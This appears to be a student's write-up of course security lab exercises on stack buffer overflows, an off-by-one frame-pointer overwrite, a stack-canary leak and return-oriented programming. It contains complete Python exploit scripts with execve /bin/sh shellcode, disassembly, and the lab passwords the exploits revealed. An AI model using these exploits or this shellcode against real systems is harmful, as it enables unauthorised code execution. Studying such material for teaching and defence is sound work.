## 1 The makefile is interesting and I think the professor tried his best to make the program unsafe. Just run gdb and see what happens: ``` invoke -d dejavu break deja_vu run x/24i $pc #- --------------- => 0xb7ffc4ab <deja_vu+6>: sub $0xc,%esp 0xb7ffc4ae <deja_vu+9>: lea -0x10(%ebp),%eax 0xb7ffc4b1 <deja_vu+12>: push %eax 0xb7ffc4b2 <deja_vu+13>: call 0xb7ffc75e <gets> 0xb7ffc4b7 <deja_vu+18>: add $0x10,%esp 0xb7ffc4ba <deja_vu+21>: nop 0xb7ffc4bb <deja_vu+22>: leave 0xb7ffc4bc <deja_vu+23>: ret 0xb7ffc4bd <main>: lea 0x4(%esp),%ecx 0xb7ffc4c1 <main+4>: and $0xfffffff0,%esp 0xb7ffc4c4 <main+7>: pushl -0x4(%ecx) 0xb7ffc4c7 <main+10>: push %ebp 0xb7ffc4c8 <main+11>: mov %esp,%ebp 0xb7ffc4ca <main+13>: push %ecx 0xb7ffc4cb <main+14>: sub $0x4,%esp 0xb7ffc4ce <main+17>: call 0xb7ffc4a5 <deja_vu> 0xb7ffc4d3 <main+22>: mov $0x0,%eax 0xb7ffc4d8 <main+27>: add $0x4,%esp 0xb7ffc4db <main+30>: pop %ecx 0xb7ffc4dc <main+31>: pop %ebp 0xb7ffc4dd <main+32>: lea -0x4(%ecx),%esp 0xb7ffc4e0 <main+35>: ret 0xb7ffc4e1 <dummy>: ret 0xb7ffc4e2 <dummy1>: ret ``` Then we go to the call instruction. ``` break *0xb7ffc4b2 c ``` I saw that eax is 0xbffffab8. The return address should original be 0xb7ffc4d3 (in main), and I can easily find it at 0xbffffacc. So I should put payload at 0xbffffad0 and input `0123456789abcdef0123456789abcdef01234567 + bffffa40 + payload`, where paylaod is `6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a`. After fixing byte sequence problem with python, the input.txt is ready. Now I can see ``` pwnable:~$ ./exploit dumb-shell $ id uid=1002(smith) gid=1001(vsftpd) groups=1001(vsftpd) dumb-shell $ cat README You have to let it all go. Fear, doubt, and disbelief. Free your mind. Next username: smith Next password: 37ZFBrAPm8 ``` My code is attached below ``` #!/usr/bin/python3 def fuck8(txt): assert(len(txt) == 8) return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2] def revert(txt): assert(len(txt) % 8 == 0) res = "" for i in range(int(len(txt) / 8)): res += fuck8(txt[i*8:(i+1)*8]) return res fill = "0123456789abcdef0123456789abcdef01234567" #cs161-ace# raddr = "bffffa40" #cs161-atw# raddr = "bffffad0" raddr = "bffffad0" #shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a" ########################################################################################### <- append an endline (0x0a, \n) payload = revert(fill) + revert(raddr) + (shellcode) #print(payload) import binascii b = binascii.unhexlify(payload) with open('/dev/fd/1','wb') as f: f.write(b) ``` ## 2 Just do as what I did in problem 1. I can see the return address is 0x00400775, stored at &msg+128+20. Because the buffer is large enough, I'll put payload here. &msg is 0xbffffa18, so I must change 0x00400775 to 0xbffffa18. Oh I didn't tell you how should I bypass the `size` limit. Just put a `-1` and enjoy your day. Now I can see ``` pwnable:~$ ./exploit j1X̀�É�jFX̀1�Ph//shh/binT[PS��1Ұ � /home/smith $ id uid=1003(brown) gid=1002(smith) groups=1002(smith) /home/smith $ cat README Welcome to the real world. Next username: brown Next password: mXFLFR5C62 ``` My code is attached below. ``` #!/usr/bin/python3 def fuck8(txt): assert(len(txt) == 8) return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2] def revert(txt): assert(len(txt) % 8 == 0) res = "" for i in range(int(len(txt) / 8)): res += fuck8(txt[i*8:(i+1)*8]) return res raddr = "bffffa18" #shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a" length_to_fill = 20 + 128 - int(len(shellcode)/2) fill = "01" * length_to_fill int8_neg1 = "ff" payload = int8_neg1 + (shellcode) + fill + revert(raddr) #print(payload) import binascii b = binascii.unhexlify(payload) with open('/dev/fd/1','wb') as f: f.write(b) ``` ## 3 The question is off-by-one overflow problem. After reading aslr.pdf figure 30, I know that I should set %ebp to &buf[0] (0xbffffa40), and put the new return address in &buf[1], and put the payload. So I should overflow an "40" to %ebp. Now I'll do it. However, after implementing the solution above, ./debug-exploit works but ./exploit doesn't. That's because overflowed "0x40" xor "1<<5" yields "`", which is beaking the shell (in the buggy exploit script). So I shift everything 4 bytes right. Now %ebp is set to &buf[1] and new return address is set to &buf[2] and overflowed byte is "44". Now everything is OK. ``` pwnable:~$ ./exploit #Eg#EgL���j1X̀�É�jFX̀1�Ph//shh/binT[PS��1Ұ D���9���'�������]���'��� ���4��� /home/brown $ cat README Remember, all I'm offering is the truth. Nothing more. Next username: jz Next password: cqkeuevfIO ``` My `./arg` is still attached below. Note that my `./egg` is empty. ``` #!/usr/bin/python3 def fuck8(txt): assert(len(txt) == 8) return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2] def revert(txt): assert(len(txt) % 8 == 0) res = "" for i in range(int(len(txt) / 8)): res += fuck8(txt[i*8:(i+1)*8]) return res ## The FUCKING silly script booms the shell because overflow="40"="`". ## cs161-atw #raddr = "bffffa48" ##shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" #shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a" # #overflow = "40" #buf0 = "01234567" # #length_to_fill = 64 - 8 - int(len(shellcode)/2) #fill = "01" * length_to_fill # #payload = buf0 + revert(raddr) + (shellcode) + fill + overflow ## cs161-atw raddr = "bffffa4c" #shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a" overflow = "44" buf0 = "01234567" length_to_fill = 64 - 8 - 4 - int(len(shellcode)/2) fill = "01" * length_to_fill payload = buf0 + buf0 + revert(raddr) + (shellcode) + fill + overflow import binascii b = binascii.unhexlify(payload) b = bytes([byte^(1<<5) for byte in b]) with open('/dev/fd/1','wb') as f: f.write(b) ``` ## 4 The solution is easy. Since BUFLEN=16, I send `0123456789ab\x`, then dehexify skips the `\0` and prints everything in canary area. Now I construct a message with 16 junk characters to fill the buffer, correct canary, another 8 characters to shift ebp & other staffes, and the return address, then the shellcode. ## 5 - motivation I noticed the following content in `objdump -d agent-jones`: ``` 8048680: 89 c8 mov %ecx,%eax 8048682: 89 45 0c mov %eax,0xc(%ebp) 8048685: 8b 45 08 mov 0x8(%ebp),%eax 8048688: 23 45 0c and 0xc(%ebp),%eax 804868b: 5d pop %ebp 804868c: c3 ret ... 08048930 <__do_global_ctors_aux>: 8048930: 55 push %ebp 8048931: 89 e5 mov %esp,%ebp 8048933: 53 push %ebx 8048934: 52 push %edx 8048935: bb dc 9e 04 08 mov $0x8049edc,%ebx 804893a: 8b 03 mov (%ebx),%eax 804893c: 83 f8 ff cmp $0xffffffff,%eax 804893f: 74 07 je 8048948 <__do_global_ctors_aux+0x18> 8048941: ff d0 call *%eax 8048943: 83 eb 04 sub $0x4,%ebx 8048946: eb f2 jmp 804893a <__do_global_ctors_aux+0xa> 8048948: 58 pop %eax 8048949: 5b pop %ebx 804894a: 5d pop %ebp 804894b: c3 ret ``` I can set `%ebp` to any fixed address, then return to 0x08048680. Because `&buf` is in `%ecx`, then value of `0xc(%ebp)` will be `&&buf`. Then put `%ebp+0xc` (that's a fixed address) onto stack, return to `0x08048949`, and now we have `&&buf` in `%ebx`. Then return to `0x0804893a`, `(%ebx)` is sent to `%eax` and jumps to `&buf`, we win! However, we need a fixed-address writable page to put `%ebp`. The page `0x08048000 - 0x08049000` is not writable. I'm so lucky that the page starts at `0x0804a000` works! So I set the "fixed address" to `0x0804a790`. - implementation Please see the image below. The procedure is too complicated to explain.  Because I have 40 bytes ahead for payload, I can put a shellcode to launch /bin/sh directly. But if I want to create tcp server, I have to write a simple payload and jmp to `&buf+68`. The simple payload is attached below. ``` // get current addr call foo foo: pop %eax // 40 + 4+4+4+4+4+4+4 - 5 add $63, %eax jmp *%eax ``` I put 5 `nop` at `&buf+68` to make it work even if I have made a mistake.